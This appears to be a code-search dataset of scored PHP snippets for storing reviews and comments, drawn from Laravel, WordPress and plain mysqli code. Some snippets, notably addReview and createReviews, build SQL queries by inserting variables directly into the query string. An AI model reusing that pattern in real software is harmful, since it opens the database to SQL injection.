Schema_IDs::ARTICLE_HASH ),\n\t\t\t'itemReviewed' => array(\n\t\t\t\t\t'@type' => 'Product',\n\t\t\t\t\t'image' => array(\n\t\t\t\t\t\t'@id' => $this->context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH,\n\t\t\t\t\t),\n\t\t\t\t\t'name' => wp_strip_all_tags( $this->get_review_meta( 'name', get_the_title() ) ),\n\t\t\t\t\t'aggregateRating' => array(\n\t\t\t\t\t\t'@type' => 'AggregateRating',\n\t\t\t\t\t\t'ratingValue' => esc_attr( $this->get_review_meta( 'rating', 1 ) ),\n\t\t\t\t\t\t'reviewCount' => 1\n\t\t\t\t\t)\n\t\t\t),\n\t\t\t'reviewRating' => array(\n\t\t\t\t'@type' => 'Rating',\n\t\t\t\t'ratingValue' => esc_attr( $this->get_review_meta( 'rating', 1 ) ),\n\t\t\t),\n\t\t\t'name' => wp_strip_all_tags( $this->get_review_meta( 'name', get_the_title() ) ),\n\t\t\t'description' => wp_strip_all_tags( $this->get_review_meta( 'summary', get_the_excerpt( $post ) ) ),\n\t\t\t'reviewBody' => wp_kses_post( $this->get_review_meta( 'body', $post->post_content ) ),\n\t\t\t'author' => array(\n\t\t\t\t'@id' => get_author_posts_url( get_the_author_meta( 'ID' ) ),\n\t\t\t\t'name' => get_the_author_meta( 'display_name', $post->post_author ),\n\t\t\t),\n\t\t\t'publisher' => array( '@id' => $this->get_publisher_url() ),\n\t\t\t'datePublished' => mysql2date( DATE_W3C, $post->post_date_gmt, false ),\n\t\t\t'dateModified' => mysql2date( DATE_W3C, $post->post_modified_gmt, false ),\n\t\t\t'commentCount' => $comment_count['approved'],\n\t\t\t'mainEntityOfPage' => $this->context->canonical . Schema_IDs::WEBPAGE_HASH,\n\t\t);\n\t\t$data = apply_filters( 'be_review_schema_data', $data, $this->context );\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "4612ef1e5026dbca6ee239de7e56d29f", "score": "0.4962645", "text": "public function create()\n {\n $user = $this->userRepository->pluck('name', 'id');\n $store = $this->storeRepository->pluck('name', 'id');\n\n $hasCustomField = in_array($this->storeReviewRepository->model(), setting('custom_field_models', []));\n if ($hasCustomField) {\n $customFields = $this->customFieldRepository->findByField('custom_field_model', $this->storeReviewRepository->model());\n $html = generateCustomField($customFields);\n }\n return view('store_reviews.create')->with(\"customFields\", isset($html) ? $html : false)->with(\"user\", $user)->with(\"store\", $store);\n }", "title": "" }, { "docid": "4d466d0955084d19ee2a78507ebc9049", "score": "0.49518493", "text": "public function castToReview($obj){\n\t\t$r = new CurtReview();\n\t\tif(isset($obj->reviewID)){\n\t\t\t$r->setReviewID($obj->reviewID); \n\t\t}\n\t\tif(isset($obj->partID)){\n\t\t\t$r->setPartID($obj->partID); \n\t\t}\n\t\tif(isset($obj->rating)){\n\t\t\t$r->setRating($obj->rating); \n\t\t}\n\t\tif(isset($obj->subject)){\n\t\t\t$r->setSubject($obj->subject); \n\t\t}\n\t\tif(isset($obj->review_text)){\n\t\t\t$r->setReview_text($obj->review_text); \n\t\t}\n\t\tif(isset($obj->name)){\n\t\t\t$r->setName($obj->name); \n\t\t}\n\t\tif(isset($obj->email)){\n\t\t\t$r->setEmail($obj->email); \n\t\t}\n\t\tif(isset($obj->createdDate)){\n\t\t\t$r->setCreateDate($obj->createdDate); \n\t\t}\n\t\treturn $r;\n\t}", "title": "" }, { "docid": "969e34f45a8ecc99552bf2d55a8c1b3a", "score": "0.49495307", "text": "public function store(CommentRequest $request)\n\t{\n\t\t$comment = new Comment($request->all());\n\t\t$comment->user_id = Auth::id();\n\t\t$comment->save();\n\n\t\t$comment->load('user');\n\n\t\treturn $comment;\n\t}", "title": "" }, { "docid": "4c860d02116a45aee94a4e1f2c672dc3", "score": "0.49494398", "text": "public function createComment($commentText){\n }", "title": "" }, { "docid": "108ab59915ed3dd8a499746cf937d8e1", "score": "0.4946684", "text": "public function create()\n {\n return view('reviews.create');\n }", "title": "" }, { "docid": "108ab59915ed3dd8a499746cf937d8e1", "score": "0.4946684", "text": "public function create()\n {\n return view('reviews.create');\n }", "title": "" }, { "docid": "c12ef14e96b79beae0d55eefb456872e", "score": "0.49312595", "text": "public static function instantiation($user_array) {\n\n\t\t\t$calling_class = get_called_class();\n\t\t\t$the_object = new $calling_class;\n\t \n\t // $the_object->id = $user_array['id'];\n\t // $the_object->username = $user_array['username'];\n\t // $the_object->password = $user_array['password'];\n\t // $the_object->first_name = $user_array['first_name'];\n\n\t\t\tforeach($user_array as $the_attribute => $value) {\n\t\t\t\tif ($the_object->has_the_attribute($the_attribute)) {\n\t\t\t\t\t$the_object->$the_attribute = $value;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $the_object;\n\t\t\t}", "title": "" }, { "docid": "1e12ae39b019a5786e55aa59dbb6fba5", "score": "0.49159056", "text": "public function fromArray(Arrayable $command)\n {\n $post = new Comment($command->toArray());\n $post->raise(new MemberHasRespondedWithComment($post));\n\n return $post;\n }", "title": "" }, { "docid": "eaa035b22cf95b69958974578bddbc2d", "score": "0.49148145", "text": "public function creating(Comment $comment)\n {\n $comment->is_note = $this->isNoteComment($comment->message) ? 1 : 0;\n $comment->user_id = \\Auth::id() ?? $comment->user_id;\n }", "title": "" }, { "docid": "d465e23cdf77d4ceae48c74b6f51cdc2", "score": "0.49115545", "text": "public function createNewOwnerFromPostArray($array)\n {\n $owner = \\tabs\\api\\core\\Owner::factory('', '');\n $this->_setPersonProperties($owner, $array);\n return $owner;\n }", "title": "" }, { "docid": "abe7fa723f9440a4ffbd19229e5854ef", "score": "0.48989087", "text": "public function it_create_comment() {\n $user = $this->create_user();\n $params = $this->params();\n $params_news = $this->params_news();\n $create_news = $this->create_news($params_news);\n\n $params['user_id'] = $user->id;\n $params['news_id'] = $create_news->id;\n\n $data = \\App\\Traits\\CommentsTrait::createComments($params);\n\n $this->assertEquals(1, count($data), \"it_create_comment test failed\");\n }", "title": "" }, { "docid": "e9a43f038f3873355ede8f44d9aa9c81", "score": "0.48975456", "text": "public function store(CreateCommentRequest $request)\n {\n try {\n $user = accountLogin();\n $data = $request->only([\n 'product_id',\n 'content'\n ]);\n\n $data['customer_id'] = $user->id;\n\n $comment = Comment::create($data);\n return $this->successResponse($comment, Response::HTTP_OK);\n } catch (ModelNotFoundException $ex) {\n return $this->errorResponse(trans(\"messages.{$ex->getModel()}.not_found\"), Response::HTTP_NOT_FOUND);\n } catch (Exception $ex) {\n dd($ex->getMessage());\n return $this->errorResponse(\"Occour error when insert order.\", Response::HTTP_INTERNAL_SERVER_ERROR);\n }\n }", "title": "" }, { "docid": "07646040854d456b1dd466289cf07aac", "score": "0.48823184", "text": "public function sendPostCreateReviews(ApiTester $I)\n {\n $data = [\n 'entityId' => fake::create()->randomNumber(2),\n 'entityClass' => 'host'\n ];\n $I->saveReviews([\n $data['entityId'], ' ',\n $data['entityClass'], ' '\n ], 'reviews.txt');\n $I->sendPOST($this->route, $data);\n $this->userID = $I->grabDataFromResponseByJsonPath('$.id');\n $I->seeResponseCodeIs(201);\n }", "title": "" }, { "docid": "4b6b19ab35fa731b87ade9886ef2485c", "score": "0.4867506", "text": "public function store(Request $request)\n {\n $Newcomment=$request->post('commenttext');\n // $user=$request->post('userid');\n // mohem\n $fileimage= $request->file('pathimagefile');\n // echo \"<br>\";\n // echo $fileimage->getClientOriginalName();\n // echo \"<br>\";\n // echo $fileimage->getClientMimeType();\n // echo \"<br>\";\n // echo $fileimage->getClientSize();die;\n $userid= $request->user()->id;\n $user=User::findOrFail($userid);\n\n if($fileimage){\n $imagename= $fileimage->getClientOriginalName();\n $fileimage->move('images/posts',$imagename);\n $comment=new Comments(['commenttext'=>$Newcomment,'fileimage'=> $imagename]);\n }else{\n $comment=new Comments(['commenttext'=>$Newcomment]);\n }\n\n if($user->comments()->save($comment)){\n $request->session()->flash('msg',\"your comment create successfully\");\n }else{\n $request->session()->flash('msg',\"your comment NOT create successfully\");\n }\n $comments=Comments::all();\n return view('comments.comments',compact(['comments']));\n\n\n }", "title": "" }, { "docid": "2e9e47709cbb2071302c04a6ab1543b5", "score": "0.48607463", "text": "public function store(CommentRequest $request)\n\t{\n\t\t$comment = Comment::create($request->only(['body', 'post_id']) + [\n\t\t\t'user_id' => $request->user()->id\n\t\t]);\n\n\t\treturn response([\n\t\t\t'id' => $comment->id\n\t\t], 201);\n\t}", "title": "" }, { "docid": "5dfc0dd59a09cfa13a894a58f8d0ec2b", "score": "0.48397538", "text": "public function add_author_review(Request $request)\n {\n $requestData = $request->all(); \n $author_review = AuthorReview::create($requestData); \n return redirect(\"/home\");\n }", "title": "" }, { "docid": "85db855d35224015620b85eecaba1edb", "score": "0.4836116", "text": "public function create()\n {\n $titles = Title::all();\n return view('reviews.create', compact('titles'));\n }", "title": "" }, { "docid": "26bfc3adb466533e16fd8b629e0c2d37", "score": "0.4831856", "text": "public function store(Request $request)\n {\n $image = [];\n $dir = \"Comments_Images\";\n if (!empty($request->file('photos'))) {\n foreach ($request->file('photos') as $i=>$item) {\n $new_image = $this->save_file($item, $dir);\n array_push($image, $new_image);\n }\n }\n\n $comment['member_id'] = $request->member_id;\n $comment['constructor_id'] = $request->constructor_id;\n $comment['task_id'] = $request->task_id;\n $comment['geo_points'] = $request->geo_points;\n $comment['comment'] = $request->comment;\n $comment['rating'] = $request->rating;\n $comment['photos'] = json_encode($image);\n\n $checkTask = Task::find($request->task_id);\n if (!empty($checkTask)){\n if (Comment::create($comment)){\n $comments = Comment::where('constructor_id',$request->constructor_id)->get();\n //r\n $total_rating = 0;\n $rating = 0;\n if (count($comments) > 0){\n for ($i = 0; $i < count($comments); $i++){\n $total_rating += $comments[$i]->rating;\n }\n $rating = $total_rating/count($comments);\n $data['rating'] = $rating;\n Constructor::find($request->constructor_id)->update($data);\n }\n\n $response = array();\n $response['error'] = false;\n $response['message'] = \"Successfully Commented\";\n return $response;\n }\n }\n\n $response = array();\n $response['error'] = true;\n $response['message'] = \"Invalid Request\";\n return $response;\n }", "title": "" }, { "docid": "8adf373c945e58a606292af7303ee6e5", "score": "0.48273322", "text": "function createReviews(){\n global $conn;\n global $description_text;\n\n //get isbns\n $isbns = getIsbns();\n //get user ids\n $userIds = getUserIds();\n\n foreach ($isbns as $isbn ) {\n $i = mt_rand(1,5);\n $last_userid = 0;\n for ($i=1; $i <=5; $i++) { \n $userid = $userIds[array_rand($userIds)];\n if($userid == $last_userid) { $userid = $userIds[array_rand($userIds)];}\n $rating = mt_rand(1,5);\n $date = date(\"Y-m-d\", time() - mt_rand(900000,9000000));\n\n $query_insert_review = \"INSERT INTO `review` (`isbn`,`user_reg_id`,`content`,`rating`,`date`) VALUES ('$isbn','$userid','$description_text', '$rating','$date')\"; \n $result_insert_review = mysqli_query($conn,$query_insert_review);\n if(mysqli_affected_rows($conn) != 1){\n echo \"failed to add review\";\n }\n $last_userid = $userid;\n }\n }\n\n}", "title": "" }, { "docid": "0c2d18bccf98d3974f57e792ee9c9c67", "score": "0.48263958", "text": "public function userComment(Request $request, $user_id) {\n //\n $this->validate($request, array(\n 'body' => 'required|max:255',\n ));\n $userprofile = Userprofile::find($user_id);\n $comment = new Comment();\n $comment->user = Auth::user()->userName;\n $comment->body = $request['body'];\n $comment->approved = true;\n $comment->userprofile()->associate($userprofile);\n $comment->save();\n return redirect()->route('userprofiles.show', ['userprofile' => $userprofile])->with('message', 'Comment Saved Successfully');\n // return view('userprofiles.show', compact('userprofile'))->with('message', 'Comment Saved Successfully');\n }", "title": "" }, { "docid": "69d0e8d80137996295704506b2460044", "score": "0.48230693", "text": "public function run()\n {\n DB::table('comments')->insert([\n // usuario #1\n [\n 'text' => 'Morbi lobortis purus quam, quis ornare justo vehicula a. Morbi interdum, ligula quis vestibulum elementum, sem felis pellentesque lorem, id vehicula risus augue ac nisl. Proin dapibus imperdiet nibh, ac commodo purus tristique et. Phasellus facilisis finibus risus a accumsan. Duis elit ante, malesuada at nunc id, auctor convallis lectus.',\n 'user_id' => '1',\n 'restaurant_id' => '2',\n 'created_at' => '2021/05/20 15:00',\n ],\n [\n 'text' => 'Aliquam vitae auctor turpis, nec tempor arcu. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.',\n 'user_id' => '1',\n 'restaurant_id' => '1',\n 'created_at' => '2021/03/12 16:30',\n ],\n [\n 'text' => 'Praesent sed sem pellentesque, consequat ante non, hendrerit nisi. Curabitur feugiat, dolor ac molestie ornare, nunc arcu dapibus diam, interdum porttitor metus urna nec tortor. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.',\n 'user_id' => '1',\n 'restaurant_id' => '6',\n 'created_at' => '2021/01/30 18:50',\n ],\n [\n 'text' => 'Aliquam eget turpis sed lacus tincidunt lacinia eget vel odio. In hac habitasse platea dictumst. Donec feugiat sem vitae porttitor maximus. Curabitur congue arcu porttitor, pharetra ligula in, tincidunt tortor. Suspendisse elementum ante vitae nisl vulputate, eu ullamcorper nunc rutrum.',\n 'user_id' => '1',\n 'restaurant_id' => '4',\n 'created_at' => '2021/04/20 19:13',\n ],\n // usuario #2\n [\n 'text' => 'Duis pharetra at enim volutpat congue. Sed vel auctor neque. Aliquam malesuada volutpat massa. Nullam magna turpis, cursus sed rutrum quis, fringilla eu lectus. Maecenas ex augue, tempor vel ullamcorper nec, tempor in nulla. Nunc quis scelerisque nisi, nec egestas tortor.',\n 'user_id' => '2',\n 'restaurant_id' => '2',\n 'created_at' => '2021/03/10 13:00',\n ],\n [\n 'text' => 'Curabitur consequat, risus at vestibulum placerat, mi nunc egestas tellus, non tristique orci risus quis orci. Duis dapibus quam nec purus pharetra varius. Nullam orci velit, faucibus eu diam in, feugiat dignissim erat. Pellentesque libero velit, finibus non nibh quis, pretium mollis erat.',\n 'user_id' => '2',\n 'restaurant_id' => '1',\n 'created_at' => '2021/04/05 19:30',\n ],\n [\n 'text' => 'Donec posuere eros vitae mauris sagittis dignissim. Donec nibh purus, vehicula consequat ex posuere, sagittis cursus lorem. Curabitur vel dui leo. Aliquam placerat tincidunt scelerisque. Curabitur commodo velit sem, ut interdum ex suscipit et. Praesent volutpat, eros sit amet accumsan tincidunt, lorem felis imperdiet risus, eget imperdiet nisi nisl quis ex. Sed ultricies justo quis velit dignissim tincidunt. Aliquam suscipit porta neque vitae iaculis.',\n 'user_id' => '2',\n 'restaurant_id' => '4',\n 'created_at' => '2020/12/14 17:30',\n ],\n // usuario #3\n [\n 'text' => 'Pellentesque at magna a sem pulvinar fermentum ac sit amet odio. Nullam pulvinar augue eget mi efficitur, commodo ultricies quam lacinia. Nulla libero nibh, tempus quis libero sollicitudin, vestibulum molestie erat. Quisque hendrerit fringilla ligula, aliquet aliquam urna volutpat ut.',\n 'user_id' => '3',\n 'restaurant_id' => '6',\n 'created_at' => '2021/02/05 17:00',\n ],\n [\n 'text' => 'Donec porta, urna eget dictum efficitur, odio ex ultricies purus, vel vulputate purus justo aliquam augue. Vestibulum vestibulum sollicitudin mi, a tempus dui fermentum quis. Mauris viverra hendrerit ligula, eu venenatis justo gravida vitae. Nulla pulvinar ante molestie pretium ultricies. Nullam ac malesuada elit, quis imperdiet mi. Nam non hendrerit nibh. Morbi cursus pulvinar leo, suscipit varius arcu ullamcorper non.',\n 'user_id' => '3',\n 'restaurant_id' => '4',\n 'created_at' => '2021/03/10 20:00',\n ],\n [\n 'text' => 'In hac habitasse platea dictumst. Nunc accumsan in ligula in dictum. In gravida lacinia orci, non venenatis ex cursus ut. Aliquam ut aliquam tortor, in lacinia lorem. Vestibulum metus magna, pulvinar sed elit in, tempus cursus augue. Cras eu consequat sapien, ut dictum sem. Donec sit amet laoreet lacus. Aenean sollicitudin sapien at cursus auctor.',\n 'user_id' => '3',\n 'restaurant_id' => '1',\n 'created_at' => '2021/04/07 16:30',\n ],\n [\n 'text' => 'Proin ornare pharetra orci, quis hendrerit nibh venenatis sed. Duis at diam nulla. Orci varius natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nam quis odio commodo, vulputate sapien in, placerat arcu. Nam sollicitudin eleifend venenatis.',\n 'user_id' => '3',\n 'restaurant_id' => '2',\n 'created_at' => '2021/03/14 17:30',\n ],\n // usuario #4\n [\n 'text' => 'Curabitur vitae faucibus massa. Duis sollicitudin aliquam ornare. Ut congue, eros id luctus consectetur, magna eros faucibus tellus, a mattis enim nisi id odio. Sed consectetur pulvinar tempus.',\n 'user_id' => '4',\n 'restaurant_id' => '6',\n 'created_at' => '2021/02/05 17:00',\n ],\n [\n 'text' => 'Vestibulum eros dui, venenatis vitae efficitur at, luctus a lorem. Sed tincidunt, dui imperdiet bibendum vulputate, massa odio lobortis lorem, id molestie nunc lectus et eros. Donec imperdiet, lacus nec ultrices laoreet, lacus enim bibendum enim, quis dictum nisi dui quis erat.',\n 'user_id' => '4',\n 'restaurant_id' => '3',\n 'created_at' => '2021/02/05 17:00',\n ],\n [\n 'text' => 'Phasellus interdum ultricies sem, quis egestas massa consectetur non. Donec mattis sapien nisl, a euismod lacus auctor euismod.',\n 'user_id' => '4',\n 'restaurant_id' => '4',\n 'created_at' => '2021/06/18 19:20',\n ],\n [\n 'text' => 'Praesent convallis sed eros a congue. Phasellus in urna tincidunt, cursus leo a, consectetur nulla. Aliquam sit amet facilisis dolor. Proin in vulputate diam. Mauris eu nulla consequat lacus rhoncus aliquam condimentum quis tortor.',\n 'user_id' => '4',\n 'restaurant_id' => '1',\n 'created_at' => '2021/02/19 19:08',\n ],\n [\n 'text' => 'Etiam congue mauris a scelerisque malesuada. Nulla facilisi. Duis velit libero, consectetur ac neque sit amet, porttitor luctus nunc. Cras placerat posuere eros nec dictum. Curabitur eu est tortor. Ut a congue lorem. Donec feugiat mauris nec felis pulvinar vulputate. Proin et mollis augue.',\n 'user_id' => '4',\n 'restaurant_id' => '2',\n 'created_at' => '2021/01/18 14:20',\n ],\n // usuario #5\n [\n 'text' => 'Vestibulum ex libero, gravida et dignissim scelerisque, tristique eu dolor. Phasellus sit amet ex lobortis ligula vulputate suscipit at et diam. Donec vestibulum est quis nunc gravida, non mattis tellus interdum. Curabitur id bibendum dolor.',\n 'user_id' => '5',\n 'restaurant_id' => '5',\n 'created_at' => '2021/02/25 21:08',\n ],\n [\n 'text' => 'Mauris justo metus, sodales eget bibendum ut, fringilla id ante. Quisque in turpis nec sem hendrerit tempor non quis quam. Fusce eget dolor augue.',\n 'user_id' => '5',\n 'restaurant_id' => '3',\n 'created_at' => '2021/07/05 15:28',\n ],\n ]);\n }", "title": "" }, { "docid": "aa4b8c35fece1661e0695650cce0c723", "score": "0.48222184", "text": "function addReview($rid, $uname, $rating, $title, $text, $suggestion){\n \n $mysqli = new mysqli(\"localhost\", \"root\", \"\", \"cookzilla\");\n $query = $mysqli -> prepare(\"INSERT INTO Review VALUES ('$rid', '$uname', '$rating','$title', '$text', '$suggestion')\");\n $query->execute();\n $query->close();\n $mysqli->close();\n }", "title": "" }, { "docid": "cf1aba6ace3553e88e1c75dfefd2bb92", "score": "0.48165682", "text": "public function submit_reviews() {\n\t\t#echo '<pre>'; print_r($_POST); die;\n $responseArr['status'] = '0';\n try {\n $ratingsFor = 'rider';\n $ride_id = $this->input->post('ride_id');\n $ratingsArr = $this->input->post('reviews');\n $comments = (string) $this->input->post('comments');\n\n if ($ride_id != '' && is_array($ratingsArr)) {\n if (count($ratingsArr) > 0) {\n $rideCond = array('ride_id' => $ride_id);\n $get_ride_info = $this->user_model->get_selected_fields(RIDES, $rideCond, array('user.id', 'driver.id', 'rider_review_status', 'driver_review_status'));\n\n $driversRating = 0;\n $ridersRating = 0;\n if (isset($get_ride_info->row()->driver_review_status)) {\n if ($ratingsFor == 'driver' && ($get_ride_info->row()->driver_review_status == 'Yes')) {\n $driversRating = 1;\n }\n }\n if (isset($get_ride_info->row()->rider_review_status)) {\n if ($ratingsFor == 'rider' && ($get_ride_info->row()->rider_review_status == 'Yes')) {\n $ridersRating = 1;\n }\n }\n\n if (($ratingsFor == 'driver' && $driversRating == 0) || ($ratingsFor == 'rider' && $ridersRating == 0)) {\n\n $user_id = $get_ride_info->row()->user['id'];\n $driver_id = $get_ride_info->row()->driver['id'];\n\n $ratingsArr = array_filter($ratingsArr);\n $num_of_ratings = 0;\n $totalRatings = 0;\n $avg_rating = 0;\n for ($i = 0; $i < count($ratingsArr); $i++) {\n $totalRatings = $totalRatings + $ratingsArr[$i]['rating'];\n $num_of_ratings++;\n }\n $avg_rating = number_format(($totalRatings / $num_of_ratings), 2);\n\n $ride_dataArr = array('total_options' => $num_of_ratings,\n 'total_ratings' => $totalRatings,\n 'avg_rating' => number_format($avg_rating, 2),\n 'ratings' => $ratingsArr,\n 'comments' => $comments\n );\n\n\t\t\t\t\t\t $this->user_model->set_to_field(RIDES, $rideCond, array('ratings.' . $ratingsFor => $ride_dataArr, 'rider_review_status' => 'Yes'));\n\n\n\n if ($ratingsFor == 'rider') {\n $userCond = array('_id' => MongoID($user_id));\n $get_user_ratings = $this->user_model->get_selected_fields(USERS, $userCond, array('avg_review', 'total_review'));\n $userRateDivider = 1;\n if (isset($get_user_ratings->row()->avg_review)) {\n $existUserAvgRat = $get_user_ratings->row()->avg_review;\n $userRateDivider++;\n } else {\n $existUserAvgRat = 0;\n }\n if (isset($get_user_ratings->row()->total_review)) {\n $existTotReview = $get_user_ratings->row()->total_review;\n } else {\n $existTotReview = 0;\n }\n $userAvgRatings = ($existUserAvgRat + $avg_rating) / $userRateDivider;\n $userTotalReviews = $existTotReview + 1;\n $this->user_model->update_details(USERS, array('avg_review' => number_format($userAvgRatings, 2), 'total_review' => $userTotalReviews), $userCond);\n }\n\n\n $responseArr['status'] = '1';\n $responseArr['response'] = $this->format_string('Your ratings submitted successfully', 'your_ratings_submitted');\n } else {\n $responseArr['response'] = $this->format_string('Already you have submitted your ratings for this ride.', 'already_you_submitted_ratings_for_this_ride'); # as a '.$ratingsFor;\n }\n } else {\n $responseArr['response'] = $this->format_string('Submitted ratings fields are not valid', 'submitted_ratings_field_invalid');\n }\n } else {\n $responseArr['response'] = $this->format_string(\"Some Parameters are missing\", \"some_parameters_missing\");\n }\n } catch (MongoException $ex) {\n $returnArr['response'] = $this->format_string(\"Error in connection\", \"error_in_connection\");\n }\n\t\tif( $responseArr['status'] == '1'){\n\t\t\t$this->setErrorMessage('success', 'Thanks, Your ratings are submitted successfully');\n\t\t} else {\n\t\t\t$this->setErrorMessage('error',$returnArr['response']);\n\t\t}\n\t\tredirect('driver/rides/view_ride_details/'.$ride_id);\n }", "title": "" }, { "docid": "43a64e06bbfe52bfcf2b9e662bd8c63f", "score": "0.48131534", "text": "public function run()\n {\n $reviews = Review::select('id')->limit(1000)->get();\n foreach($reviews as $review){\n Comment::factory()->count(3)->create(['review_id' => $review->id]);\n }\n }", "title": "" }, { "docid": "360e4eb73377e68e7cc46073574da779", "score": "0.4801855", "text": "public function create()\n {\n return view('admin.pages.reviews.create');\n }", "title": "" }, { "docid": "d072d1b1a868c97e862520e93527d460", "score": "0.47972867", "text": "public function createAction()\n {\n $this->loggerStdout->log('CommentsController: Create a comment');\n\n if (!$this->request->isPost()) {\n $this->dispatcher->forward([\n 'controller' => \"comments\",\n 'action' => 'index'\n ]);\n\n return;\n }\n\n if (!$this->security->checkToken()) {\n $this->flash->error(\"Token not OK\"); \n return;\n }\n\n //check sql\n parent::checkRequest($this->request);\n\n $comment = new Comments();\n $comment->content = $this->request->getPost(\"content\");\n $comment->datePublication = $this->request->getPost(\"date_publication\");\n $comment->articleId = $this->request->getPost(\"articleId\");\n $comment->userId = $this->request->getPost(\"userId\");\n \n\n if (!$comment->save()) {\n $this->loggerStdout->log('CommentsController: Could not save comment');\n\n foreach ($comment->getMessages() as $message) {\n $this->flash->error($message);\n }\n\n $this->dispatcher->forward([\n 'controller' => \"comments\",\n 'action' => 'new'\n ]);\n\n return;\n }\n\n $this->flash->success(\"comment was created successfully\");\n $this->loggerStdout->log('comment was created successfully');\n\n\n $this->dispatcher->forward([\n 'controller' => \"comments\",\n 'action' => 'index'\n ]);\n }", "title": "" }, { "docid": "4e3f132c31ef0ae461c2ef229fb060c2", "score": "0.47968704", "text": "function newComment()\n {\n if (isset($_POST['body']) && isset($_POST['publication'])) {\n\n try {\n $comment = new Comment();\n $date = new DateTime();\n $comment->initializeData(0, $this->auth->retrieveUser()->id, $_POST['publication'], $_POST['body'], $date->format('Y-m-d H:i:s'));\n\n $this->commentRepo->Create($comment);\n\n $this->render();\n } catch (\\Throwable $th) {\n $this->view->newPublicationErr = \"There was an error trying to create the comment, try later...\";\n var_dump($th);\n }\n } else {\n var_dump($_POST);\n }\n }", "title": "" }, { "docid": "4a12e675971fdb0f405c15db3b2e313c", "score": "0.47950137", "text": "public function store(Request $request)\n {\n $this->validate($request, [\n 'content' => 'required' \n ], [\n 'required' => 'This field is required.'\n ]);\n\n $user = Auth::user();\n\n $user_profile_photo;\n\n if( $user->photo_id == null ) {\n $user_profile_photo = \"\\images\\icons\\avatar.jpg\";\n } else {\n $user_profile_photo = $user->photo->file;\n }\n\n $user_comments = Comment::where('author', $user->name)->count();\n\n if( $user->role_id == 3 && $user_comments > 1 ) {\n\n $user->update([\n 'role_id' => 2\n ]);\n }\n \n $data = [\n 'post_id' => $request->post_id,\n 'author' => $user->name,\n 'email' => $user->email,\n 'photo' => $user_profile_photo,\n 'content' => $request->content,\n ];\n\n Comment::create($data);\n\n Session::flash('created_comment', 'Comment successfully created.');\n \n return redirect()->back();\n }", "title": "" }, { "docid": "23cbea11bff9089a2d228abf5ec8485e", "score": "0.47939044", "text": "public function setComments(array $comments) {\n\t\t$this->itsComments = Comment::__createCollection($comments);\n\t\t\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "5f66e269a88f09f8ed8157c95331d712", "score": "0.47926146", "text": "public function completeUserComments($comments){\n if(!(empty($comments))){\n foreach($comments as &$c){\n $c['user']=User::find($c['user_id']);\n if(isset($c['mention_id'])){\n $mentions=array();\n foreach($c['mention_id'] as $mi){\n $mentions[]=User::find($mi);\n }\n $c['mentions']=$mentions;\n }\n if(isset($c['comments']))\n $c['comments']=$this->completeUserComments($c['comments']);\n else\n $c['comments']=array();\n }\n }\n return $comments;\n }", "title": "" }, { "docid": "e5a969d5e0ef4fb3a6c869310edd0359", "score": "0.47892234", "text": "public function setReviews(Reviews $reviews): self\n {\n if ($reviews->getUserID() !== $this) {\n $reviews->setUserID($this);\n }\n\n $this->reviews = $reviews;\n\n return $this;\n }", "title": "" }, { "docid": "783ea538ce70696c9d2b0340283ead00", "score": "0.4779222", "text": "public function store(Request $request)\n\t{\n\t\t$validator = Validator::make($request->all(), [\n\n\t\t\t'body' => 'required',\n\t\t]);\n\n\t\tif ($validator->fails()) {\n\t\t\treturn redirect('comments/create')\n\t\t\t\t->withErrors($validator)\n\t\t\t\t->withInput();\n\t\t}\n\t\t$comment = new Comment();\n\t\t$user = User::findOrFail($request->user_id);\n\t\t\t$comment->body = $request->body;\n\t\t\t$comment->moictati_id = $request->moictati_id;\n\t\t\t$comment->user_id = $request->user_id;\n\t\t\t$comment->moderated = 0;\n\t\t\t$comment->save();\n\t\t\treturn redirect()->route('comments.index');\n }", "title": "" }, { "docid": "badc2a40986d8e541901cbf725bd5d86", "score": "0.47774208", "text": "public function submitReview(Request $request, $id_product)\n {\n\n $review = new Review();\n $review->id = Review::max('id') + 1;\n $review->id_user = $request->id;\n $review->id_product = $id_product;\n $review->title = $request->title;\n $review->description = $request->description;\n $review->score = $request->score;\n\n\n try {\n $review->save();\n } catch (\\Illuminate\\Database\\QueryException $e) {\n $orderLog = new Logger('db');\n $orderLog->pushHandler(new StreamHandler(storage_path('logs/db.log')), Logger::ERROR);\n $orderLog->info('db', ['error' => $e->getMessage()]);\n }\n\n $review->name = User::find($request->id)['name'];\n\n return array($review);\n }", "title": "" }, { "docid": "0e06f1ad0a651c33bb2fecec42014692", "score": "0.476845", "text": "public function __construct(array $rateComment = array())\n {\n $this\n ->setRateComment($rateComment);\n }", "title": "" }, { "docid": "ca8ee5e11d8f352f0b655c93829d93ba", "score": "0.47669533", "text": "public function run()\n {\n $reviews_array = ['This product is in good condition.', 'This product sucks.', 'This product is missing pieces.'];\n $counter = 1;\n\n foreach($reviews_array as $review){\n DB::table('reviews')->insert([\n 'user_id' => $counter,\n 'product_id' => $counter,\n 'review' => $review,\n ]);\n $counter++;\n }\n\n DB::table('reviews')->insert([\n 'user_id' => 1,\n 'product_id' => 3,\n 'review' => 'The Xbox 360 is a nice console to use for FPS games.'\n ]);\n\n DB::table('reviews')->insert([\n 'user_id' => 2,\n 'product_id' => 3,\n 'review' => 'Red ring of death!'\n ]);\n\n }", "title": "" }, { "docid": "2d1cb79dac301039138edde52b6b7302", "score": "0.47656444", "text": "public function run()\n\t{\n\t\t\\DB::table('comments')->truncate();\n \n\t\t\\DB::table('comments')->insert(array (\n\t\t\t0 => \n\t\t\tarray (\n\t\t\t\t'id' => 1,\n\t\t\t\t'user_id' => 10,\n\t\t\t\t'pin_id' => 1,\n\t\t\t\t'content' => 'Looks delicious, gonna use this recipe this afternoon! Thanks!',\n\t\t\t\t'created_at' => '2014-04-01 10:00:30',\n\t\t\t\t'updated_at' => '2014-04-01 10:00:30',\n\t\t\t),\n\t\t\t1 => \n\t\t\tarray (\n\t\t\t\t'id' => 2,\n\t\t\t\t'user_id' => 11,\n\t\t\t\t'pin_id' => 2,\n\t\t\t\t'content' => 'God I love this poster!',\n\t\t\t\t'created_at' => '2014-04-01 10:00:30',\n\t\t\t\t'updated_at' => '2014-04-01 10:00:30',\n\t\t\t),\n\n 2 =>\n array (\n 'id' => 3,\n 'user_id' => 18,\n 'pin_id' => 4,\n 'content' => 'This poster is 